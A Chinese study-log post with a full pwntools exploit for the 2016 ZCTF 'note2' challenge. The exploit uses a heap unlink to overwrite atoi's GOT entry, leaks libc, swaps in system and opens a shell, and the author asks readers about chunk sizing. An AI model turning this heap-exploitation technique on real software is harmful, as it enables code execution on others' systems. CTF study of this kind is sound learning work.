暑假学习计划 - 0x03
2016_ZCTF_note2
详细分析参考:CTF Wiki unlink
肝了一下午 + 一晚上,还是有一部分还不是很理解:
分配的三个堆块,为什么第一个和第三个大小一定是0x80?说是和fastbin机制有关,但是还没想明白
路过的各位大佬,如果知道麻烦指点一下,谢谢啦
from pwn import *
# context.log_level = 'debug'
p = process('./note2')
elf = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size,content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)\n')
p.sendline(str(size))
p.recvuntil('content:\n')
p.sendline(content)
def show(idx):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(idx))
def edit(idx, choice, content):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:\n')
p.sendline(str(idx))
p.recvuntil('[1.overwrite/2.append]\n')
p.sendline(str(choice))
p.recvuntil('TheNewContents:')
p.sendline(content)
def delete(idx):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:\n')
p.sendline(str(idx))
p.recvuntil('name:\n')
p.sendline('1111')
p.recvuntil('address:\n')
p.sendline('2222')
head = 0x0000000000602120
fd = head - 0x18
bk = head - 0x10
payload1 = p64(0)+p64(0x61)+p64(fd)+p64(bk)+'a'*64+p64(0x60)
new(0x80, payload1)
new(0, '')
new(0x80, '')
delete(1)
payload2 = 'b'*16+p64(0xa0)+p64(0x90)
new(0, payload2)
#unlink
delete(2)
# get atoi_addr
atoi_got = elf.got['atoi']
payload3 = 'c'*0x18+p64(atoi_got)
edit(0, 1, payload3)
show(0)
#get libc_base
p.recvuntil('is ')
atoi_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00'))
print hex(atoi_addr)
# atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
print 'system_addr: ',hex(system_addr)
payload4 = p64(system_addr)
edit(0, 1, payload4)
p.sendline('/bin/sh')
p.interactive()